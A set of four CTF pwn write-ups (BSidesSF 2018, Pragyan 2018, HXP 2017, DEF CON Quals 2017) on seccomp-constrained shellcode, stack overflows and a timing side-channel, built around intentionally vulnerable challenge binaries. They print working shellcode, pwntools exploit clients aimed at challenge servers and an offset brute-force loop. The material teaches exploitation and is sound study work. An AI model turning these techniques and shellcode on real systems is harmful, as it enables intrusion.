BSidesSF CTF 2018 - Intel Coder (200)

This challenge was like a "baby's first" x86 challenge, with a couple small twists.

First if we run it we can get a segfault quickly (looks like it will just run our shellcode):

$ ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
4
[+] OK, please send the shellcode.
AAAA
[+] Setting up sandbox.
[1]    6014 segmentation fault (core dumped)  ./coder

The statement "Setting up sandbox." sounds interesting, we should probably investigate that.

Looking for this string in Binary Ninja and finding the relevant Xrefs in main we find a function right underneath the print:

This binary is stripped so we don't get a nice name for sandbox setup, we can rename sub_2200a in Binary Ninja by clicking it, hitting 'n' and typing a new symbol name, such as 'setup-sandbox'.

Looking at this function we can see what's familiar to seccomp setup. Another post covering seccomp on a binary is mute, using this as a reference we can rename the other unlabeled functions such as 'seccomp_rule_add'. It looks very similar to mute where we can look up the arguments and syscalls being passed to seccomp, but there's something slightly more complicated below:

We could analyze this manually, but it would be a lot nicer to use seccomp-tools:

$ echo '1\nA\n' | seccomp-tools dump ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
[+] OK, please send the shellcode.
[+] Setting up sandbox.
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x11 0xc000003e  if (A != ARCH_X86_64) goto 0019
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x0f 0x00 0x40000000  if (A >= 0x40000000) goto 0019
 0004: 0x15 0x0d 0x00 0x00000003  if (A == close) goto 0018
 0005: 0x15 0x0c 0x00 0x0000000f  if (A == rt_sigreturn) goto 0018
 0006: 0x15 0x0b 0x00 0x00000028  if (A == sendfile) goto 0018
 0007: 0x15 0x0a 0x00 0x0000003c  if (A == exit) goto 0018
 0008: 0x15 0x09 0x00 0x000000e7  if (A == exit_group) goto 0018
 0009: 0x15 0x00 0x09 0x00000002  if (A != open) goto 0019
 0010: 0x20 0x00 0x00 0x00000014  A = args[0] >> 32
 0011: 0x15 0x00 0x07 0x00007f35  if (A != 0x7f35) goto 0019
 0012: 0x20 0x00 0x00 0x00000010  A = args[0]
 0013: 0x15 0x00 0x05 0x5e303428  if (A != 0x5e303428) goto 0019
 0014: 0x20 0x00 0x00 0x0000001c  A = args[1] >> 32
 0015: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0019
 0016: 0x20 0x00 0x00 0x00000018  A = args[1]
 0017: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x06 0x00 0x00 0x00000000  return KILL

This clearly shows us the seccomp rules are setup to allow: close, rt_sigreturn, sendfile, exit, exit_group & open.

We have your typical ORW (open/read/write) restriction, where read & write is taken care of in the syscall sendfile.

Under line 0009 we can see it expects arguments for open to be set correctly. In the binary there's a mention of './flag.txt' @ 0x2b428, this is probably the argument the seccomp rule is referring to, but we can verify this by looking in Binary Ninja.

At the bottom of the image above, we see a reference to data_245110. Clicking that takes us to the data section referencing 0x2b428, which we just found was './flag.txt':

So now we know our shellcode should have the following constraints:

• 64 bit
• use open with the argument './flag.txt'
• use sendfile to read & write after open

This seems fairly simple! There's only one more catch.
We will need to get the exact address of './flag.txt' which is randomized because PIE is enabled:

$ checksec coder
[*] './coder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
    FORTIFY:  Enabled

We can setup a very simple client to check out the state of registers once it executes our shellcode:

#!/usr/bin/env python
from pwn import *

if args.LOCAL:
  p = process(['./coder'])
else:
  p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086)

context(terminal=['tmux', 'split'], bits=64, arch='amd64')
gdb.attach(p, 'stepi')

payload = '\xcc' * 10
payload = '{}\n{}\n'.format(len(payload), payload)

p.sendline(payload)
p.interactive()

Running this in a new tmux session with the LOCAL flag set, we can continue and hit the interrupt setup in the beginning of our payload:

$ python client.py LOCAL
...
[──────────────────────────────────REGISTERS──────────────────────────────────]
*RAX  0x7fc5de64f000 <— 0xcccccccccccccccc
*RBX  0x0
*RCX  0x7fc5de652fe0 <— 0
*RDX  0x7fc5de449190 <— mov    rsp, rsi
*RDI  0x7fc5de64f000 <— 0xcccccccccccccccc
*RSI  0x7fc5de652fe0 <— 0
*R8   0x7fc5df54e000 <— 0x0
*R9   0x7fc5df54e010 —▸ 0x7fc5df54e390 <— 0xd0
*R10  0x7fc5de1fb7b8 (main_arena+88) —▸ 0x7fc5df54ea10 <— 0x0
*R11  0x246
*R12  0x7fc5de4487d0 <— xor    ebp, ebp
*R13  0x7fffa312c570 <— 0x1
*R14  0x0
*R15  0x0
*RBP  0x7fffa312c490 <— 0x0
*RSP  0x7fc5de652fe0 <— 0
*RIP  0x7fc5de64f001 <— 0xcccccccccccccccc
[───────────────────────────────────DISASM────────────────────────────────────]
   0x7fc5de64f000    int3
 ► 0x7fc5de64f001    int3

The assembly instructions in RDX look very familiar from previous reversing.  Looking at the positive flow after the seccomp rules are setup, this function is called:

We can verify the next instruction of RDX is 'jmp rdi' as well:

pwndbg> x/2i 0x7fc5de449190
   0x7fc5de449190:      mov    rsp,rsi
   0x7fc5de449193:      jmp    rdi

Remember the flag was @ 0x2b428.  Subtracting this from the offset of the instruction above to get the required amount to add to RDX:

pwndbg> p/x 0x2b428 - 0x22190
$1 = 0x9298

pwndbg> x/s $rdx + 0x9298
0x7fc5de452428: "./flag.txt"

Now we can write a small amount of assembly to take care of this before we reach the open syscall:

add rdx, 0x9298
mov rax, rdx

Using shellcraft from pwntools will be very useful in this situation to generate custom shellcode:

o = pwnlib.shellcraft.open('rax', 0)
s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40)

This executes open using the address of './flag.txt' we loaded into RAX, setting the oflag to 0 or O_RDONLY for a read-only mode.  Then it executes sendfile writing to stdout (1), using the address returned from open (RAX), the offset into the string (0), and the amount of bytes to read.

Putting this all together we get a client that looks something like this:


Running this client against the CTF server, we get a flag!

$ python client.py NOPTRACE

flag:i_can_haz_shellcodez

If you'd like to read more about the coder series of binaries for BSidesSF 2018, check out @matir's excellent post! - https://systemoverlord.com/2018/04/21/bsidessf-ctf-2018-coder-series-authors-pov.html

Pragyan CTF 2018 - Old school hack (200)

Pragyan had some fun challenges! There will be more writeups coming up soon for the CTF.
This binary Challenge wasn't very difficult, but the nostalgia of it was nice!

Here is the description:

Chris is trying out to be a police officer and the applications have just been sent into the police academy. He is really eager to find out about his competition. Help it him back the system and view the other applicant’s applications.

The service is running at 128.199.224.175:13000

We're given a x86-64 binary with NX & Canary enabled named police_academy.
Looking in Binary Ninja, we can immediately find out a few details which will help later when running through dynamic analysis.

First, there's a simple hard-coded password check on the binary:

After this it asks for a case number using scanf, uses a jump table to load a specific data filename onto the stack ($rbp-0x30) and then prints that file using print_record:

For the strings in Binary Ninja above, one useful feature is to hit the 'r' key to convert to character constants. The same was done for the jump to the flag setup:

The flag case exits which isn't very useful for us, so time to look elsewhere.

We can see all other cases converge onto this one block:

Note it's loading the filename string at rbp-0x30, 16 bytes after the password on the stack.
It's also interesting the existence check happens after the print.

Maybe we can overflow using password to add the path of flag.txt to the string referenced on the stack.

Looking back at the initial case comparison, there's a jump above instruction which will hit 0x400cb8 if the value is above 7:

Seems like we have a good amount of information to start dynamic analysis, let's run this binary!

Breaking at the ja destination, we'll inspect the stack value for filename to see if we can overflow into it. Remember the password is stored at rbp-0x40 and the filename is stored at rbp-0x30, that's a difference of 0x10 or 16 bytes. With that, let's try the overflow in GDB:

pwndbg> b *0x400cb8
Breakpoint 1 at 0x400cb8
pwndbg> r
Enter password to authentic yourself : kaiokenx20______AAAA
Enter case number:

   1) Application_1
   2) Application_2
   3) Application_3
   4) Application_4
   5) Application_5
   6) Application_6
   7) Flag

   Enter choice :- 9

pwndbg> x/s $rbp-0x40
0x7fffffffdf00: "kaiokenx20_____"...
pwndbg> x/s $rbp-0x30
0x7fffffffdf10: "AAAA"

Looks like it worked!

Repeating the same with flag.txt doesn't seem to work for some reason, let's look back at the disassembly....

In print_record, there's a compare for the filename size to be equal to 0x24 bytes:

This next part brings the nostolgia back, with path modification to work with this buffer size. We need to make this path 0x24 bytes while preserving validity of loading flag.txt. To do this we may add a bunch of slash characters when referencing it locally, ex.:

.///////////////////////////flag.txt

Combining this with our password, we get the following:

kaiokenx20______.///////////////////////////flag.txt

Running the binary with this password and a large > 7 (or underflowed negative) value for case number we drop the flag:

Enter password to authentic yourself :
Enter case number:

     1) Application_1
     2) Application_2
     3) Application_3
     4) Application_4
     5) Application_5
     6) Application_6
     7) Flag

     Enter choice :-


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX



The flag is :- pctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}

HXP 2017 - Aleph1

This was a baby's first pwnable challenge inspired by the legendary post Smashing The Stack for Fun and Profit published by aleph1.

In this challenge we get a 64 bit binary and some source!  It's rare to get source in CTF's, this was very generous:

#include 

int main()
{
    char yolo[0x400];
    fgets(yolo, 0x539, stdin);
}

Looks simple enough, a very basic stack overflow on an elf64 binary with no mitigations.
Let's try going through the first crash:

$ ulimit -c unlimited
$ python -c 'print "A"*0x400 + "B"*16' | ./vuln
[1]    16507 done                              python -c 'print "A"*0x400 + "B"*16' |
       16508 segmentation fault (core dumped)  ./vuln
$ gdb vuln core
...
 ► 0x4005f6     ret    <0x4242424242424242>
...

Great! We have an RIP overwrite, now we just need to point to a reliable location on the stack where we have shellcode.

We could put a giant NOPSled leading up to this location since we have ~0x400 bytes to work with.

If we look again in GDB for the saved RIP value before the crash, we can decide which stack address to use, something towards the middle of the buffer will work (0x400/2).

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004005ca <+0>: push   rbp
   0x00000000004005cb <+1>: mov    rbp,rsp
   0x00000000004005ce <+4>: sub    rsp,0x400
   0x00000000004005d5 <+11>: mov    rdx,QWORD PTR [rip+0x200a54]        # 0x601030 
   0x00000000004005dc <+18>: lea    rax,[rbp-0x400]
   0x00000000004005e3 <+25>: mov    esi,0x539
   0x00000000004005e8 <+30>: mov    rdi,rax
   0x00000000004005eb <+33>: call   0x4004d0 
   0x00000000004005f0 <+38>: mov    eax,0x0
   0x00000000004005f5 <+43>: leave
   0x00000000004005f6 <+44>: ret
End of assembler dump.

pwndbg> b *0x00000000004005f5
Breakpoint 1 at 0x4005f5: file vuln.c, line 7.

pwndbg> r <<< $(python -c 'from pwn import *; print "\x90"*0x400 + "BBBBBBBB" + "AAAAAAAA"')

pwndbg> i f
Stack level 0, frame at 0x7fffffffdfe0:
 rip = 0x4005f5 in main (vuln.c:7); saved rip = 0x4141414141414141
 called by frame at 0x7fffffffdfe8
 source language c.
 Arglist at 0x7fffffffdfd0, args:
 Locals at 0x7fffffffdfd0, Previous frame's sp is 0x7fffffffdfe0
 Saved registers:
  rbp at 0x7fffffffdfd0, rip at 0x7fffffffdfd8

pwndbg> x/gx 0x7fffffffdfd8
0x7fffffffdfd8: 0x4141414141414141

pwndbg> x/gx 0x7fffffffdfd0
0x7fffffffdfd0: 0x4242424242424242

pwndbg> p/x 0x7fffffffdfd8 - (0x400/2)
$1 = 0x7fffffffddd8

Now we have the stack address we're going to target when setting saved RIP: 0x7fffffffddd8.

For x86-64 shellcode, there's a nice minimal one from our teammate @matir here - https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/

Putting this all together, we get a long one-line exploit which looks like this:

(python -c 'from pwn import *; print "\x90" * 0x3E7 + "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" + "SAVEDRBP" + p64(0x7fffffffddd8)'; cat) | ./vuln

At this point all we have to do is point to the remote and see if it works!
Unfortunately it does not. It must be the stack offset we used which is different than the server. This is a good time to throw this in a client and start tweaking it for the remote.

#!/usr/bin/env python
import sys, time
from pwn import *

r = remote('35.205.206.137', 1996)

OFFSET = 100
REMOTE = len(sys.argv) > 1
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"

def main():
  saved_eip = p64(STACK_ADDR + OFFSET)
  r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
  r.sendline("cat flag.txt")
  print r.recv(2000)

if __name__ == "__main__":
  main()

Changing the offset manually a few times didn't end up being very useful. Time to automate this!

  for x in xrange(0, 0xffff, 0x7f):
    try:
      saved_eip = p64(STACK_ADDR + x)
      r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
      r.sendline("whoami")
      print r.recv(2000)
      print 'FOUND! => {}'.format(hex(STACK_ADDR + x))
    except:
      pass
    time.sleep(0.4)

After a few cycles this quickly showed the ctf user on the remote. It turned out to be +3000 from our local address.

Running an ls on the remote showed a flag.txt, so we just cat that file.


The final client looks like this:

DEF CON CTF Quals 2017 - mute

This was a very fun challenge by @Gynophage! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.

If we look at the binary in Binary Ninja we can see the seccomp rules being setup:

Each value being passed to the addRule function is a syscall number which is allowed.

If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to allow.

Enumerating all the possible syscalls we can use for our shellcode, we get this list:

sys_read
sys_open
sys_close
sys_stat
sys_fstat
sys_lstat
sys_poll
sys_lseek
sys_mmap
sys_mprotect
sys_munmap
sys_brk
sys_execve

Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write.  Now we can understand why this challenge is called 'mute'.

This challenge instantly reminded me of BROP, but less involved.  We'll have to extract data from the remote server somehow.  Similar to BROP & Blind SQLi, we could use a timing side-channel attack to extract the flag.

First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to @matir who discovered this from previous challenges such as beatmeonthedl.

; clear registers
xor rax, rax
xor rsi, rsi
xor rbx, rbx
xor rdi, rdi

; fd = open("./flag", 0, 0)
push rax
add rax, 2
mov rsi, 0x67616c662f2f2f2e
push rsi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

; read(fd, $rsp, 0xff)
mov rdi, rax
mov rsi, rsp
mov rdx, 0xff
xor rax, rax
syscall

So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.

Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.

Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed. However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.

Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:

; verify one byte from the stack
add rsp, $POS
xor rax, rax
mov al, $BYTE
pop rbx, rsp
mov bl, bl
cmp al, bl
je L2
jmp done

L2:
nop
jmp L2

done:
nop

Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.

Here is the full client:



You can also find all the challenge files here - https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn

Ended up using rasm2 as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install rasm2, just install radare2 and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.

Now when we run the client, we get:

The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
******************************************************************************************************************_____________

Done!

    The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa